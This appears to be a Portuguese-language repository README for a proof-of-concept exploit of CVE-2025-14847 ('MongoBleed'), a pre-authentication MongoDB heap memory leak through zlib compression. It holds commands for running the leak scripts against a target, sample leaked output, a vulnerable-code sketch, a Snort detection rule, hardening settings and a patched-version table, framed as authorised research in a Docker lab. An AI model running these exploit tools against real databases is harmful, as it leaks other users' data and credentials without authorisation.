
Exploit funcional de prova de conceito para CVE-2025-14847 (MongoBleed), uma vulnerabilidade de divulgação de memória heap pré-autenticação no MongoDB. Inclui detecção automatizada de vazamento de memória, análise de padrões e ambiente de laboratório baseado em Docker para testes de segurança autorizados e pesquisa.
Prova de Conceito Completa para CVE-2025-14847 (MongoBleed)
Tested: ✅ MongoDB 7.0.5 | 14.300+ Exploits Bem-Sucedidos | 4 UUIDs Vazados
Este repositório contém uma Prova de Conceito (PoC) totalmente funcional para a vulnerabilidade CVE-2025-14847, conhecida como MongoBleed uma falha crítica de divulgação de memória heap pré-autenticação em MongoDB.
Em Dezembro de 2025, o jogo Rainbow Six Siege sofreu um ataque massivo que comprometeu ~50.000 contas de jogadores. A suspeita é que atacantes exploraram esta vulnerabilidade no MongoDB do backend para vazar:
R6S_SERVER_AUTH_*)TOURNAMENT_ADMIN, DEV_BUILD_WHITELIST)Este PoC simula o ataque com dados realistas do R6.
poc.py - Exploit principal com análise de padrõeslive_leaker.py - Varredura incremental avançadapopular_heap.py - Script para popular heap com dados alvo246434ed-759b-4ce9-bb9c-2f520a9919b8
980ab3a7-0230-4718-aa2d-fb28feafd7f5
1052a310-4cdc-492f-9890-465d76baba9b
f20debfa-298d-48e3-b3b9-9a0e037c0fbd
# Clone o repositório
git clone CVE-2025-14857-MongoBleed.git
cd MongoDBPoc
# Inicie o ambiente vulnerável
docker-compose up -d
# Aguarde inicialização (15-20s)
docker logs cve-2025-14847-lab | grep "R6 MASSIVE"
# 1. Popular heap com dados R6
python3 popular_heap.py 50
# 2. Verificar vulnerabilidade
python3 poc.py --target 127.0.0.1 --check
# 3. Explorar com live leaker (RECOMENDADO)
timeout 30 python3 live_leaker.py --host 127.0.0.1 --min 200 --max 3000 --save results.json
[!] MongoBleed Live Leaker Avançado
[!] Alvo: 127.0.0.1:27017
[!] Faixa: doc_len 200 → 3000 (offset=500)
[*] Progresso: doc_len=245/3000 | Tentativas=100 | Taxa sucesso=100.0%
[!] PADRÕES R6 DETECTADOS (doc_len=245):
[UUID] 1 novo(s):
└─ 246434ed-759b-4ce9-bb9c-2f520a9919b8
MongoDB permite compressão de mensagens via zlib. A vulnerabilidade está na validação inadequada do tamanho declarado vs. real:
Atacante → {compress: "zlib", uncompressedSize: 1MB, payload: <50 bytes>}
↓
Servidor aloca 1MB de heap ← VULNERABILIDADE
↓
Servidor descomprime apenas 50 bytes
↓
Servidor retorna 1MB inteiro!
└─ 50 bytes = dados reais
└─ ~1MB - 50 = VAZAMENTO DE MEMÓRIA
// ANTES DO PATCH
size_t uncompressedSize = header.uncompressedSize; // ← Controlado pelo atacante
buffer = malloc(uncompressedSize); // ← Aloca tamanho malicioso
zlib_decompress(compressed, buffer);
send(buffer, uncompressedSize); // ← VAZA BUFFER INTEIRO
MongoDBPoc/
├── poc.py # Exploit principal
├── live_leaker.py # Varredura incremental (✨ Recomendado)
├── popular_heap.py # Script de carga
├── docker-compose.yml # MongoDB 7.0.5 vulnerável
├── init-db.js # 1000 players + 500 sessions R6
├── GUIA_TECNICO_COMPLETO.md # Documentação detalhada (200+ páginas)
├── README.MD # Documentação em inglês
└── Portugues/ # Versões traduzidas
├── poc_PT.py
├── README_PT.md
└── GUIA_RAPIDO.md
alert tcp any any -> any 27017 (
msg:"CVE-2025-14847 MongoBleed Attempt";
content:"|d4 07 00 00|";
byte_test:4,>,1000000,4,little;
sid:2025001;
)
net:
bindIp: 127.0.0.1 # NUNCA 0.0.0.0!
compression:
compressors: [] # Desabilitar zlib
security:
authorization: enabled
GUIA_TECNICO_COMPLETO.md - Análise técnica completa (200+ páginas)
README.MD - Documentação principal (inglês)
Portugues/ - Versões traduzidas
ESTA FERRAMENTA É APENAS PARA TESTES AUTORIZADOS E EDUCAÇÃO.
Uso não autorizado é ILEGAL e pode resultar em:
- Processos criminais (Lei 12.737/2012 no Brasil)
- Multas pesadas
- Prisão
Sempre obtenha PERMISSÃO POR ESCRITO antes de testar.
Autor: Ermenson Jr
Licença: MIT (Uso Educacional)
Data: Janeiro 2026
Para questões técnicas ou colaboração em pesquisas de segurança:
Desenvolvido para pesquisa em segurança ofensiva responsável.
Não afiliado a Ubisoft, MongoDB Inc., ou Rainbow Six Siege.
🔒 Use com responsabilidade. Segurança é para todos. 🔒
| Métrica | Resultado |
|---|
| MongoDB Testado | 7.0.5 (Vulnerável) |
| Taxa de Sucesso | 100% (14.300/14.300 requisições) |
| UUIDs Vazados | 4 únicos |
| Vazamentos Totais | 33 strings distintas |
| Maior Vazamento | 176 bytes/requisição |
| Padrões Detectados | Network logs, UUIDs, system paths |
| Série MongoDB | Versões Vulneráveis | Versão Corrigida |
|---|
| 8.2.x | 8.2.0 – 8.2.2 | 8.2.3 |
| 8.0.x | 8.0.0 – 8.0.16 | 8.0.17 |
| 7.0.x | 7.0.0 – 7.0.27 | 7.0.28 |
| 6.0.x | 6.0.0 – 6.0.26 | 6.0.27 |
| 5.0.x | 5.0.0 – 5.0.31 | 5.0.32 |
| 4.4.x | 4.4.0 – 4.4.29 | 4.4.30 |
| ≤ 4.2 | Todas | Sem patch (EOL) |